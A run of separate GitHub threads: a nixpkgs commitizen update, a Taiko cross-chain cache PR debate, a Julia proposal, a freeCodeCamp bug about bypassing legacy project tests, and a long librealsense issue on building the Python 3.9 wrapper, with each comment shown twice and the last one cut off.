First fifty rebuilds by attrpath
commitizen

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/rip17597qyr5kcbr4za9mpz16s7sp3wy-commitizen-2.41.0 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A commitizen https://github.com/r-ryantm/nixpkgs/archive/59d055ba9719c2d69902422fd991a90e9c4bd11b.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/rip17597qyr5kcbr4za9mpz16s7sp3wy-commitizen-2.41.0
ls -la /nix/store/rip17597qyr5kcbr4za9mpz16s7sp3wy-commitizen-2.41.0/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

1 package built:

commitizen

Maintainer pings
cc @lovesegfault @anthonyroussel for testing.

Closed by #215656.


feat(protocol)!: introduce CrossChainCache to replace CrossChainSync

This is an early demo of the idea of a cross-chain Cache (for block hash, state root, and signal service's storage root) that can be used by TaikoL1, TaikoL2, and Signal service.
I would like to get your feedback before proceeding with the implementation and bug fixes, @Brechtpd @adaki2004

I can't really give any comments because I don't know what the expected goals are.
The method in Dani's PR where the rollup contract stores the core blockchain related information it's responsible for (and also may have some extra super powers that allows overwriting this data in case of a security bug), and there being some other non-core contract that is responsible for storing data related to optimizing bridge transactions (the signal contract in this case) seems to make a lot of sense to me. You could store this bridging related data in some other contract, but to me the signal contract is that contract because all bridging transactions will go through there in practice anyway. If other dapps want to read cached data from there they can do so, if they also want to be able to write data in there then quite a lot of things done currently in the signal contract would also have to be moved there to make it trustless. Conceptually that could make sense, but in practice the bridging will be centralized to the signal contract (which is actually not a good thing, so booster rollups!).

We have a cross-chain data sync store, it's not explicit, it's called ICrossChainSync and its now part of both TaikoL1 and TaikoL2. I don't feel it's right to cache data inside the signal service as another cross-chain sync data store/cache. This job should be consolidated into a delighted contract and let signal service store the signals only.
I also don't think it's a good idea that the underlying LibTrieProof.sol shall know anything about the idea of cache at all. It shall only provide the primitive function to be used to verify the account proofs, the storage proofs, or the full proofs. The signal service should decide which functions to use based on the cross-chain data cache.

I'm not a fan of design, storage and api changes 5 days before we kind of agreed to freeze the software. I have multiple problems with this.

protocol shall be the first one to freeze because all other components (bridge ui, relayer, client) are adjusted based on it.
we cannot make the upgrade because this way the A6 and A7 will be incompatible so we would need another testnet.

We could say "internal devnet is fine" but compared to A6 we already have many changes, personally i dont feel comfortable if we do not let the public "stress test" these new features/changes.
We are introducing high risks - with breaking design changes, where we cannot upgrade A6 - for maybe only small amount of benefits (if any) - but definitely new risks.

We have a cross-chain data sync store, it's not explicit, it's called ICrossChainSync and its now part of both TaikoL1 and TaikoL2. I don't feel it's right to cache data inside the signal service as another cross-chain sync data store/cache. This job should be consolidated into a delighted contract and let signal service store the signals only.

The cached data in the signal contract is signal contract related data though. It only caches data related to proofs against signal contract accounts. This is different compared to the general block chain state like the blockhash and the chain state root. So having the signal service cache its own data seems reasonable enough to me.

I also don't think it's a good idea that the underlying LibTrieProof.sol shall know anything about the idea of cache at all. It shall only provide the primitive function to be used to verify the account proofs, the storage proofs, or the full proofs. The signal service should decide which functions to use based on the cross-chain data cache.

I agree ideally it shouldn't be part of LibTrieProof. On the other hand, the caching logic is super simple and if it's not done there it's done elsewhere so doesn't seem like the biggest difference if we're only interested in a single code path (and I think we are, I don't immediately see this logic being used elsewhere).
One other concern I also have with putting more time in changing things how they are done now is that it won't be compatible with future protocol versions because bridging will be done very differently in designs with synchronous composabilty like the booster design (on top of already different style of doing things in booster rollups).

I have a better idea, I will close this one and open a new PR.


Ternary Search in Julia | Search

💥 Proposal
Ternary Search in Julia
Have you read the Contributing Guidelines on Pull Requests?
YES

/assign


Tests for some projects can be bypassed

On the settings page, I can submit "legacy" projects and, if they are still part of the curriculum, they will automatically be filled in for that project as well.
For example, I can submit the timestamp microservice project like this...

and it automatically gets filled in here...

If I were to try and submit this URL on the page for that project, the tests fail and I can't submit.
Wondering if we should remove the input fields for legacy projects on the settings page and make them like the rest. I believe all the legacy projects pages are all still available either in the current curriculum, or the take home projects.

I think we could solve this by replacing the form with a link to the challenge.

I like the second picture in the post there. Which, yes, is basically a link to the project - but it also has the solution there. Basically, just make them like all the others is what I was thinking.

While investigating what needs to be changed to implement this, I've confirmed that with all projects in the legacy section are linked with (submitting one submits another) either challenge in Take Home Projects or project in current curriculum.
In one case this linking doesn't really point to the same project. In Legacy Front End project Stylize Stories on Camper News is linked with the Build a Tribute Page project from Responsive Web Design.
Build a Camper Leaderboard from Legacy Data Visualization, appears as Build a freeCodeCamp Forum Homepage (Take Home Projects).
There are some other that have some slight differences in naming, ie. Use the TwitchTV JSON API vs Use the Twitch JSON API or having appended Build an before the name.
What should be done with these? Change their names to fully match current projects and challenges? Or just change URLs to make them point to equivalent project? With the first one from above every option doesn't seem to be ideal.


Install python wrapper on Windows 10 and Python 3.9

Required Info

Camera Model
D435

Firmware Version
952323021325

Operating System & Version
Windows 10

Platform
PC

SDK Version
<IP_ADDRESS>2

Language
python

Segment
others

Issue Description
I have a big medical device application on Python 3.9. One of the components uses a D435 and this has been posing difficulties, due to the limitation on the python version supported. The current workaround has been running the this component as a standalone app, communicating with the main app via remote calls. The issues raised with this approach are many, from maintainability to physical resources.
As such, I've been trying to compile the python wrapper for some 5 days, quite unsuccessfully. I read all the way through:

Python wrapper installation instructions, particularly the Windows section
Issue 7636
The Windows instructions are particualrly incomplete, assuming people read through the Linux section, so zero on the self-contained front there. In any case, as the aforementioned issue highlights, the overall documentation set amounts mostly to a placeholder for better days.  Issue 6053 makes brilliant points, among which "You want to sell bajillions of these, Why make it so hard for people to just get the data?". Certainly a blanket assessment.

The most frustrating part with Intel was coming across Pull Request 8138 and realise that, apparently, all my troubles would go away if anyone there could just spend 15 seconds adding 2 lines just to declare a compatibility that has already been successfully tested.
I just spent a large amount of time installing Visual Studio Community 2017 and compiling through the convoluted process of CMake and all that. I would not have minded at all if in the end I had seen success. VS 2017 — a tool I don't use at all — reported all success, but I'm not sure that cmake-gui did its job airtight, because you guys don't have a clear cut set of command-line instructions for Windows. Even cmake, which is supposed to produce makefiles, is the gui version.
What I could appreciate would be blank slate instructions, including versions of everything (compilers, C++ redistributables) and the steps. I use hundreds of Python libraries, from REST API, to ORMs, NoSQL, computer vision, data analysis, web crawling... If it's python, chances are I used it. I never built one of those in a foreign language. I don't know how to transform a set of scattered files into a python library. My final outcome — until you guys have something I can pip install — should be a folder that I could refer to from a pyproject.toml along the lines of
[tool.poetry.dependencies]
pyrealsense2 = {path = "C:/path/to/pyrealsense2"}

Thanks in advance
Ricardo

Hi @ricardo-reis-1970   You are the first user of Python 3.9 with the Python wrapper that I have seen.  Unless there is an installation complication with using 3.9 with the wrapper that has not been experienced until now, you should be able to build the wrapper from source code on 3.9.
Although a pip installation package for pyrealsense2 is available for Python 3.7, it sounds as though your medical device application is dependent on Python 3.9, therefore ruling out installing with pip on 3.7.  Is that correct, please?  If the project is not dependent on 3.9, then a pip install on 3.7 could be attempted.
The simplest approach to buiding from source would be to build librealsense and the Python wrapper together at the same time using the BUILD_PYTHON_BINDINGS CMake build flag with CMake's visual GUI.  There is a clearly written tutorial for doing so on Windows 10 at the link below.
https://rahulvishwakarma.wordpress.com/2019/08/17/realsense-435i-depth-rgb-multi-camera-setup-and-opencv-python-wrapper-intel-realsense-sdk-2-0-compiled-from-source-on-win10/
The alternative approach is to build the wrapper from source code on its own after librealsense has already been installed.  If buildng librealsense and Python at the same time with CMake is not possible for your particular project, or if the linked-to tutorial above does not work for you, then we can certainly go through the steps for a Windows source-code install of the Python wrapper.

Hi @ricardo-reis-1970   You are the first user of Python 3.9 with the Python wrapper that I have seen.  Unless there is an installation complication with using 3.9 with the wrapper that has not been experienced until now, you should be able to build the wrapper from source code on 3.9.
Although a pip installation package for pyrealsense2 is available for Python 3.7, it sounds as though your medical device application is dependent on Python 3.9, therefore ruling out installing with pip on 3.7.  Is that correct, please?  If the project is not dependent on 3.9, then a pip install on 3.7 could be attempted.
The simplest approach to buiding from source would be to build librealsense and the Python wrapper together at the same time using the BUILD_PYTHON_BINDINGS CMake build flag with CMake's visual GUI.  There is a clearly written tutorial for doing so on Windows 10 at the link below.
https://rahulvishwakarma.wordpress.com/2019/08/17/realsense-435i-depth-rgb-multi-camera-setup-and-opencv-python-wrapper-intel-realsense-sdk-2-0-compiled-from-source-on-win10/
The alternative approach is to build the wrapper from source code on its own after librealsense has already been installed.  If buildng librealsense and Python at the same time with CMake is not possible for your particular project, or if the linked-to tutorial above does not work for you, then we can certainly go through the steps for a Windows source-code install of the Python wrapper.

Hi @MartyG-RealSense,
Thank you for taking a Sunday to reply. HEre are a few thoughts:

Official Documentation: this follows the rule of "I'm sure you'll figure it out", with a ton of gaps, assumptions and "you bought our expensive camera, so now tough it up". It's helpful if you're either interested in progressing to square one or if you already know it all, in which case... Since I was born on square one, this one is not for me.
This guide possibly just made me compile the whole thing. I have the SDK 2.40 installed from the installer, and when I run the executables in build\release, they show version 2.41. HORRAH! Also, I just built the whole thing against python 3.9, which is a fantastic feeling and the first time in my life I'm the first person in the World to do something.

Unfortunately, the tutorial by Rahul Vishwakarma that you kindly provided diverges from my case in a fundamental aspect: he is working with Anaconda, meaning all he needs to do is to drop a few files in a special place and it's done. I, on the other hand, am using nativa Python, so I need to have a standard repeatable distributable version, so I either have something from your team on Pypi (with the pull request merged), or I need to have something like it in a local folder that I can put in a pyproject.toml, as per my previous message.
Right now, all I have is a bittersweet Crassus victory: I compiled everything and it's looking great. I just can't do anything with it. I tried python setup.py bdist_wheel from the wrappers\python folder, only to get:
> python setup.py bdist_wheel
Traceback (most recent call last):
  File "setup.py", line 5, in <module>
    from pyrealsense2._version import __version__
  File "C:\Users\ricar\Documents\Sandboxes\Python\RealSense\librealsense\wrappers\python\pyrealsense2\__init__.py", line 2, in <module>
    from .pyrealsense2 import *
ModuleNotFoundError: No module named 'pyrealsense2.pyrealsense2'

This kept happening even after I copied pybackend2.cp39-win_amd64.pyd and pyrealsense2.cp39-win_amd64.pyd from the build\Release folder into wrappers\python\pyrealsense2. In any case, the absence of a _version.py file would possibly break it on the next line. I copied these following the instruction in the very wrappers\python\pyrealsense2\__init__.py file, but I'm not sure whether I should be copying dlls or libs to the same folder or somewhere else.
Just as a side note, the previous installation — python 3.6.6, pyrealsense2 installed from pypi — resulted in the follwing files:
 3,677,184 pybackend2.cp36-win_amd64.pyd
25,695,232 pyrealsense2-net.cp36-win_amd64.pyd
28,574,720 pyrealsense2.cp36-win_amd64.pyd
        28 _version.py
        87 __init__.py

Upon compiling the new version, I don't have the -net equivalent and the other two are much smaller, around 1.5 MB.
Essentially, I'm trying to do something of a pypi replica (which I have no idea how to make), or a repository that I could push to my git and import directly into my project. I'm very glad for your help, but now I feel closer to the end, which is all the more frustrating.
What am I missing? Is there anyone I could contact? On my end, this is getting past missing sprints and into missing milestones.
Many thanks!
Ricardo

Hi @MartyG-RealSense,
Thank you for taking a Sunday to reply. HEre are a few thoughts:

Official Documentation: this follows the rule of "I'm sure you'll figure it out", with a ton of gaps, assumptions and "you bought our expensive camera, so now tough it up". It's helpful if you're either interested in progressing to square one or if you already know it all, in which case... Since I was born on square one, this one is not for me.
This guide possibly just made me compile the whole thing. I have the SDK 2.40 installed from the installer, and when I run the executables in build\release, they show version 2.41. HORRAH! Also, I just built the whole thing against python 3.9, which is a fantastic feeling and the first time in my life I'm the first person in the World to do something.

Unfortunately, the tutorial by Rahul Vishwakarma that you kindly provided diverges from my case in a fundamental aspect: he is working with Anaconda, meaning all he needs to do is to drop a few files in a special place and it's done. I, on the other hand, am using nativa Python, so I need to have a standard repeatable distributable version, so I either have something from your team on Pypi (with the pull request merged), or I need to have something like it in a local folder that I can put in a pyproject.toml, as per my previous message.
Right now, all I have is a bittersweet Crassus victory: I compiled everything and it's looking great. I just can't do anything with it. I tried python setup.py bdist_wheel from the wrappers\python folder, only to get:
> python setup.py bdist_wheel
Traceback (most recent call last):
  File "setup.py", line 5, in <module>
    from pyrealsense2._version import __version__
  File "C:\Users\ricar\Documents\Sandboxes\Python\RealSense\librealsense\wrappers\python\pyrealsense2\__init__.py", line 2, in <module>
    from .pyrealsense2 import *
ModuleNotFoundError: No module named 'pyrealsense2.pyrealsense2'

This kept happening even after I copied pybackend2.cp39-win_amd64.pyd and pyrealsense2.cp39-win_amd64.pyd from the build\Release folder into wrappers\python\pyrealsense2. In any case, the absence of a _version.py file would possibly break it on the next line. I copied these following the instruction in the very wrappers\python\pyrealsense2\__init__.py file, but I'm not sure whether I should be copying dlls or libs to the same folder or somewhere else.
Just as a side note, the previous installation — python 3.6.6, pyrealsense2 installed from pypi — resulted in the follwing files:
 3,677,184 pybackend2.cp36-win_amd64.pyd
25,695,232 pyrealsense2-net.cp36-win_amd64.pyd
28,574,720 pyrealsense2.cp36-win_amd64.pyd
        28 _version.py
        87 __init__.py

Upon compiling the new version, I don't have the -net equivalent and the other two are much smaller, around 1.5 MB.
Essentially, I'm trying to do something of a pypi replica (which I have no idea how to make), or a repository that I could push to my git and import directly into my project. I'm very glad for your help, but now I feel closer to the end, which is all the more frustrating.
What am I missing? Is there anyone I could contact? On my end, this is getting past missing sprints and into missing milestones.
Many thanks!
Ricardo

Pypi is part of pip. installation, as is the command python setup.py bdist_wheel.  So using this command is not necessary for a Python 3.9 installation, which should be a source-code build.
Did you install librealsense using the installer file from the Assets file list on the SDK's Releases page?  If so, this may be why it is not making a connection to Python 3.9.  This 'binary' installation of librealsense from the installer file targets Python 2.7.
I would therefore recommend building librealsense and the Python wrapper together on Windows 10 from source code using the CMake visual GUI if possible (the process outlined in Intel's guide).
https://github.com/IntelRealSense/librealsense/blob/master/doc/installation_windows.md
If you are installing the Python wrapper with this method then you do not have to use the Python wrapper page's installation guidelines at all.  You only need to use the link above.
To install the Python wrapper at the same time as librealsense with the CMake visual GUI, you should just take the one additional step of making sure that the BUILD_PYTHON_BINDINGS option is ticked and then compile.

Pypi is part of pip. installation, as is the command python setup.py bdist_wheel.  So using this command is not necessary for a Python 3.9 installation, which should be a source-code build.
Did you install librealsense using the installer file from the Assets file list on the SDK's Releases page?  If so, this may be why it is not making a connection to Python 3.9.  This 'binary' installation of librealsense from the installer file targets Python 2.7.
I would therefore recommend building librealsense and the Python wrapper together on Windows 10 from source code using the CMake visual GUI if possible (the process outlined in Intel's guide).
https://github.com/IntelRealSense/librealsense/blob/master/doc/installation_windows.md
If you are installing the Python wrapper with this method then you do not have to use the Python wrapper page's installation guidelines at all.  You only need to use the link above.
To install the Python wrapper at the same time as librealsense with the CMake visual GUI, you should just take the one additional step of making sure that the BUILD_PYTHON_BINDINGS option is ticked and then compile.

So, what you're saying is: I must uninstall all RealSense 2.0 SDK (I do have 2.40 installed) and then have a go at this whole process?

So, what you're saying is: I must uninstall all RealSense 2.0 SDK (I do have 2.40 installed) and then have a go at this whole process?

It would be advisable to remove 2.40.0 and then use the CMake GUI method of installing from source code

It would be advisable to remove 2.40.0 and then use the CMake GUI method of installing from source code

Hi again.
This feels like it's almost there... but not just yet. Following some instinct and reading in between the lines, I compiled the whole thing, but not from the original repo. I cloned this one: https://github.com/smeng9/librealsense, as smeng9 seems to be in your team and proposed a bump up in the version. The only difference between his repo and the original is in wrappers\python\setup.py where he declares versions of python up to 3.9.
So, I built everything and got no errors, but my Cmake config did not include the pybinds11. After completing, I went on build\Release and copied pybackend2.cp39-win_amd64.pydandpyrealsense2.cp39-win_amd64.pydto a folder calledpyrealsense2insidewrappers\python\pyrealsense2`. By this time, trial&error is becoming my top skill.
After that, I ran python setup.py bdist_wheel because — and allow mw to insist on this point! — I don't need some file that I can drop somewhere. What I need is a repeatable solution that involves my putting some reference in a pyproject.toml file. The Anaconda version will not cut it.
As it is right now, I can install it through pip install pat6h\to\librealsense\wrappers\python. After that, I can run python and do import pyrealsense2 as rs. And now I have ts.pyrealsense2, a completely empty module.
I also have a pyrealsense2-<IP_ADDRESS>66-cp39-cp39-win_amd64.whl inside wrappers\python\dist, and I tried installing from it, but the result was the same. This wheel has 8M, whereas the previous one had around 24MB.
There is still something missing, and I am under the impression that something is being left out from the cmake-gui step. I still don't generate a pyrealsense2-net.cp39-win_amd64.pyd (do I need that?) and the other two .pyd are 1/3 of the cp36 version size. I uninstalled SDK 2.20. Should I install 2.41 now?

Hi again.
This feels like it's almost there... but not just yet. Following some instinct and reading in between the lines, I compiled the whole thing, but not from the original repo. I cloned this one: https://github.com/smeng9/librealsense, as smeng9 seems to be in your team and proposed a bump up in the version. The only difference between his repo and the original is in wrappers\python\setup.py where he declares versions of python up to 3.9.
So, I built everything and got no errors, but my Cmake config did not include the pybinds11. After completing, I went on build\Release and copied pybackend2.cp39-win_amd64.pydandpyrealsense2.cp39-win_amd64.pydto a folder calledpyrealsense2insidewrappers\python\pyrealsense2`. By this time, trial&error is becoming my top skill.
After that, I ran python setup.py bdist_wheel because — and allow mw to insist on this point! — I don't need some file that I can drop somewhere. What I need is a repeatable solution that involves my putting some reference in a pyproject.toml file. The Anaconda version will not cut it.
As it is right now, I can install it through pip install pat6h\to\librealsense\wrappers\python. After that, I can run python and do import pyrealsense2 as rs. And now I have ts.pyrealsense2, a completely empty module.
I also have a pyrealsense2-<IP_ADDRESS>66-cp39-cp39-win_amd64.whl inside wrappers\python\dist, and I tried installing from it, but the result was the same. This wheel has 8M, whereas the previous one had around 24MB.
There is still something missing, and I am under the impression that something is being left out from the cmake-gui step. I still don't generate a pyrealsense2-net.cp39-win_amd64.pyd (do I need that?) and the other two .pyd are 1/3 of the cp36 version size. I uninstalled SDK 2.20. Should I install 2.41 now?

I do not have the knowledge to advise on a custom Python wrapper installation process that is outside of the normal recommended methods, unfortunately.  I looked up the PR for Python 3.8 and 3.9 by @smeng9 - it provides useful information about why you cannot downgrade to Python 3.7, but @smeng9 is the best person to comment on their own code.
https://github.com/IntelRealSense/librealsense/pull/8138
If the Python wrapper was being installed from source code on its own (not alongside librealsense) then it would be normal to include a CMake flag called DPYTHON_EXECUTABLE to specify exactly which Python 3 version to target.  The wrapper's Windows instructions provide the following information about this:

If you have multiple python installations on your machine you can use -DPYTHON_EXECUTABLE= For example:  -DPYTHON_EXECUTABLE=C:/Python27/python.exe

So conceivably, if Python 3.9 is at C:/Python39 on Windows then the CMake flag may be:
-DPYTHON_EXECUTABLE=C:/Python39/python.exe

I do not have the knowledge to advise on a custom Python wrapper installation process that is outside of the normal recommended methods, unfortunately.  I looked up the PR for Python 3.8 and 3.9 by @smeng9 - it provides useful information about why you cannot downgrade to Python 3.7, but @smeng9 is the best person to comment on their own code.
https://github.com/IntelRealSense/librealsense/pull/8138
If the Python wrapper was being installed from source code on its own (not alongside librealsense) then it would be normal to include a CMake flag called DPYTHON_EXECUTABLE to specify exactly which Python 3 version to target.  The wrapper's Windows instructions provide the following information about this:

If you have multiple python installations on your machine you can use -DPYTHON_EXECUTABLE= For example:  -DPYTHON_EXECUTABLE=C:/Python27/python.exe

So conceivably, if Python 3.9 is at C:/Python39 on Windows then the CMake flag may be:
-DPYTHON_EXECUTABLE=C:/Python39/python.exe

Dear @MartyG-RealSense,
I feel as though I imposed on your time, patience and kindness long enough. I had the feeling that @smeng9 was part of the team, and a relevant one. I'd like to reach out to them, although I'm not sure exactly how to accomplish that. Their Github profile is quite... shielded: no messages, no issues, no comments, nothing. I don't even have a name.
Is there any way I could get through to them? I'm<EMAIL_ADDRESS>and I have an urgent case in my hands.
Many thanks and kind regards
Ricardo

Dear @MartyG-RealSense,
I feel as though I imposed on your time, patience and kindness long enough. I had the feeling that @smeng9 was part of the team, and a relevant one. I'd like to reach out to them, although I'm not sure exactly how to accomplish that. Their Github profile is quite... shielded: no messages, no issues, no comments, nothing. I don't even have a name.
Is there any way I could get through to them? I'm<EMAIL_ADDRESS>and I have an urgent case in my hands.
Many thanks and kind regards
Ricardo

I am happy to continue to be your support contact on this case.  I appreciate your patience as I navigate the complexities of your particular case (which I have no previous precedent to refer to for guidance).
I do not have a way to communicate with smeng9 other than with name-tagging with @ to highlight comments to them as you yourself have done.
If you are not building librealsense and the Python wrapper together at the same time, it is essential that librealsense is installed first before attempting to then build the Python wrapper.
I suspect that this project would be easier to implement if the computing device that the camera was attached to was a Raspberry Pi 4.  You could then set up librealsense and Python and burn the entire system as an SD card image file.  That system image could then be installed on other Pis by flashing the image file to a blank SD card.
Intel created a similar pre-made downloadable image file for Pi 4 (though not with the Python wrapper included in the image).
https://dev.intelrealsense.com/docs/open-source-ethernet-networking-for-intel-realsense-depth-cameras#section-2-3-preparing-the-sd-card

I am happy to continue to be your support contact on this case.  I appreciate your patience as I navigate the complexities of your particular case (which I have no previous precedent to refer to for guidance).
I do not have a way to communicate with smeng9 other than with name-tagging with @ to highlight comments to them as you yourself have done.
If you are not building librealsense and the Python wrapper together at the same time, it is essential that librealsense is installed first before attempting to then build the Python wrapper.
I suspect that this project would be easier to implement if the computing device that the camera was attached to was a Raspberry Pi 4.  You could then set up librealsense and Python and burn the entire system as an SD card image file.  That system image could then be installed on other Pis by flashing the image file to a blank SD card.
Intel created a similar pre-made downloadable image file for Pi 4 (though not with the Python wrapper included in the image).
https://dev.intelrealsense.com/docs/open-source-ethernet-networking-for-intel-realsense-depth-cameras#section-2-3-preparing-the-sd-card

Ok the real problem is Intel keep forgetting including python 3.8 - 3.10 in the build and release pipeline. Everything is supported, but they just make things complicated and it introduces a lot of headaches for users.
So some alternative way to solve the headache without recompiling is:
Download from pypi the released package for 3.7
Find the python binding binary in the whl
Use hex editor to patch the version check code corresponding to https://github.com/IntelRealSense/librealsense/blob/d8f5d4212df85522a14b4a7b83bf4d54219b06fa/wrappers/python/third_party/pybind11/include/pybind11/detail/common.h#L235
Then change target python version and install, it will work

Ok the real problem is Intel keep forgetting including python 3.8 - 3.10 in the build and release pipeline. Everything is supported, but they just make things complicated and it introduces a lot of headaches for users.
So some alternative way to solve the headache without recompiling is:
Download from pypi the released package for 3.7
Find the python binding binary in the whl
Use hex editor to patch the version check code corresponding to https://github.com/IntelRealSense/librealsense/blob/d8f5d4212df85522a14b4a7b83bf4d54219b06fa/wrappers/python/third_party/pybind11/include/pybind11/detail/common.h#L235
Then change target python version and install, it will work

Thanks so much for your contributions @smeng9 !

Thanks so much for your contributions @smeng9 !

@MartyG-RealSense No problem, just ask development team to release package for higher python versions in the next version. This will make the life easier for everyone!

@MartyG-RealSense No problem, just ask development team to release package for higher python versions in the next version. This will make the life easier for everyone!

Hi @smeng9 ,
librealsense use pybind11 third-party for python binding.
Until lately the pybind11 version integrated with librealsense did not support python > 3.7
We worked on integrating the latest version that supports python > 3.7 and since this PR  (not a 2 lines fix :)), development branch build from source include this update and should support it.
Note that according to pybind11 documentation, using python 3.9 with earlier version with cause undefined behavior.

Hi @smeng9 ,
librealsense use pybind11 third-party for python binding.
Until lately the pybind11 version integrated with librealsense did not support python > 3.7
We worked on integrating the latest version that supports python > 3.7 and since this PR  (not a 2 lines fix :)), development branch build from source include this update and should support it.
Note that according to pybind11 documentation, using python 3.9 with earlier version with cause undefined behavior.

Thanks very much @Nir-Az for the information about your Pybind PR and its successful merging!
@smeng9   Thanks again for your work.I filed an official feature request for a pyrealsense2 pip package for Python 3.8 last year.  I am not involved in development activities though.

Thanks very much @Nir-Az for the information about your Pybind PR and its successful merging!
@smeng9   Thanks again for your work.I filed an official feature request for a pyrealsense2 pip package for Python 3.8 last year.  I am not involved in development activities though.

Dear all,
Thank you for your contributions so far. This all seems so easy for you, but for one not involved with the intricacies of compiling large amounts of code in a foreign language (C++) or building packages, this is all very opaque. As an old school engineer, unpacking a wheel and hex editing a binary doesn't sound too bad (on paper, that is), but building the whole package does.
Python developers run pip install and things happen automagically that most of us never even realise, like files being copied into .venv\Lib\site_packages and what not. We simply don't know where these goodies come from or how they get to talk to Python, but thanks to people like you, we can use them.
This goes to say that I don't think I could (in useful time or any time at all) get to a package I could attach to my projects. I usually avoid asking people to do my job, except when (it's really not my job) && (I can't really do it). Is there any possibility one of you could get me a compiled version — a folder, or a wheel — for me to patch things up until Intel decides to finally publish it? This way, I could just put it next to the project in my repo and point all the relevant pyproject.tomls to it.
And then my manager could get off my back, I could get off yours and the sun would shine again in Geneva Switzerland!

Dear all,
Thank you for your contributions so far. This all seems so easy for you, but for one not involved with the intricacies of compiling large amounts of code in a foreign language (C++) or building packages, this is all very opaque. As an old school engineer, unpacking a wheel and hex editing a binary doesn't sound too bad (on paper, that is), but building the whole package does.
Python developers run pip install and things happen automagically that most of us never even realise, like files being copied into .venv\Lib\site_packages and what not. We simply don't know where these goodies come from or how they get to talk to Python, but thanks to people like you, we can use them.
This goes to say that I don't think I could (in useful time or any time at all) get to a package I could attach to my projects. I usually avoid asking people to do my job, except when (it's really not my job) && (I can't really do it). Is there any possibility one of you could get me a compiled version — a folder, or a wheel — for me to patch things up until Intel decides to finally publish it? This way, I could just put it next to the project in my repo and point all the relevant pyproject.tomls to it.
And then my manager could get off my back, I could get off yours and the sun would shine again in Geneva Switzerland!

Hi @ricardo-reis-1970   This is a subject that @smeng9 and @Nir-Az will have better knowledge of than myself.  As your project is time-critical though, I would recommend not to make your plans dependent on the near-term provision of an official pip package for Python 3.9, as there are no guarantees of time schedule that I can provide.
At this point, the hex editing solution offered by @smeng9 in https://github.com/IntelRealSense/librealsense/issues/8229#issuecomment-767115385 seems the most straightforward path to creating an unofficial pip wheel solution.  @smeng9   Is there any step-by-step guidance that you could offer to enable @ricardo-reis-1970 to carry out this workaround themselves, please?

Hi @ricardo-reis-1970   This is a subject that @smeng9 and @Nir-Az will have better knowledge of than myself.  As your project is time-critical though, I would recommend not to make your plans dependent on the near-term provision of an official pip package for Python 3.9, as there are no guarantees of time schedule that I can provide.
At this point, the hex editing solution offered by @smeng9 in https://github.com/IntelRealSense/librealsense/issues/8229#issuecomment-767115385 seems the most straightforward path to creating an unofficial pip wheel solution.  @smeng9   Is there any step-by-step guidance that you could offer to enable @ricardo-reis-1970 to carry out this workaround themselves, please?

Building from source require multiple flags that also depends on your OS,
I would use the patch @smeng9 suggested (or wait for it to be releases by Intel) but with python 3.9.1 as mentioned at pybind11 documentation here
Warning
Combining older versions of pybind11 (< 2.6.0) with Python 3.9.0 will trigger undefined behavior that typically manifests as crashes during interpreter shutdown (but could also destroy your data. You have been warned.)
We recommend that you update to the latest patch release of Python (3.9.1), which includes a fix that resolves this problem. If you do use Python 3.9.0, please update to the latest version of pybind11 (2.6.0 or newer), which includes a temporary workaround specifically when Python 3.9.0 is detected at runtime.

Building from source require multiple flags that also depends on your OS,
I would use the patch @smeng9 suggested (or wait for it to be releases by Intel) but with python 3.9.1 as mentioned at pybind11 documentation here
Warning
Combining older versions of pybind11 (< 2.6.0) with Python 3.9.0 will trigger undefined behavior that typically manifests as crashes during interpreter shutdown (but could also destroy your data. You have been warned.)
We recommend that you update to the latest patch release of Python (3.9.1), which includes a fix that resolves this problem. If you do use Python 3.9.0, please update to the latest version of pybind11 (2.6.0 or newer), which includes a temporary workaround specifically when Python 3.9.0 is detected at runtime.

I think you guys underestimate how desperately lost I am here. I'll take that as a undeserved compliment.
@smeng9's process:

Download from pypi the released package for 3.7
Find the python binding binary in the whl
Use hex editor to patch the version check code corresponding to
Line 235 in d8f5d42

Then change target python version and install, it will work

But this is again very cryptic. Here's what I managed so far:

Download from pypi: I hope this is with pip-download. I used that and I got 10 wheels, latest being pyrealsense2-<IP_ADDRESS>66-cp37-cp37m-win_amd64.whl. Check!
I can see the whole inside of the wheel with 7zip, but no clue what the python binding binary file is.
Dependent on previous, but no idea what would I need to do, if I ever got here.
Same.

Inside that wheel, all pyd files have the string cp37 in their names. would this also need to be changed?
:-S

I think you guys underestimate how desperately lost I am here. I'll take that as a undeserved compliment.
@smeng9's process:

Download from pypi the released package for 3.7
Find the python binding binary in the whl
Use hex editor to patch the version check code corresponding to
Line 235 in d8f5d42

Then change target python version and install, it will work

But this is again very cryptic. Here's what I managed so far:

Download from pypi: I hope this is with pip-download. I used that and I got 10 wheels, latest being pyrealsense2-<IP_ADDRESS>66-cp37-cp37m-win_amd64.whl. Check!
I can see the whole inside of the wheel with 7zip, but no clue what the python binding binary file is.
Dependent on previous, but no idea what would I need to do, if I ever got here.
Same.

Inside that wheel, all pyd files have the string cp37 in their names. would this also need to be changed?
:-S

Hi,
You need to choose the whl file with respect to OS, platform and python version, this is an example to the path to the file you need for:
OS: Windows
Platform: x64
Python: 3.7
"pyrealsense2-<IP_ADDRESS>58-cp37-cp37m-win_amd64\pyrealsense2\pyrealsense2.cp37-win_amd64.pyd"
you don't need to rename it.
normally (on windows OS) inside the whl you will find up to 3 pyd files.
pyrealsense2.xxx..pyd
pyrealsense2-net.xxx..pyd
pybackend2.xxx..pyd
You probably need the pyrealsense2.xxx..pyd file.
Good luck

Hi,
You need to choose the whl file with respect to OS, platform and python version, this is an example to the path to the file you need for:
OS: Windows
Platform: x64
Python: 3.7
"pyrealsense2-<IP_ADDRESS>58-cp37-cp37m-win_amd64\pyrealsense2\pyrealsense2.cp37-win_amd64.pyd"
you don't need to rename it.
normally (on windows OS) inside the whl you will find up to 3 pyd files.
pyrealsense2.xxx..pyd
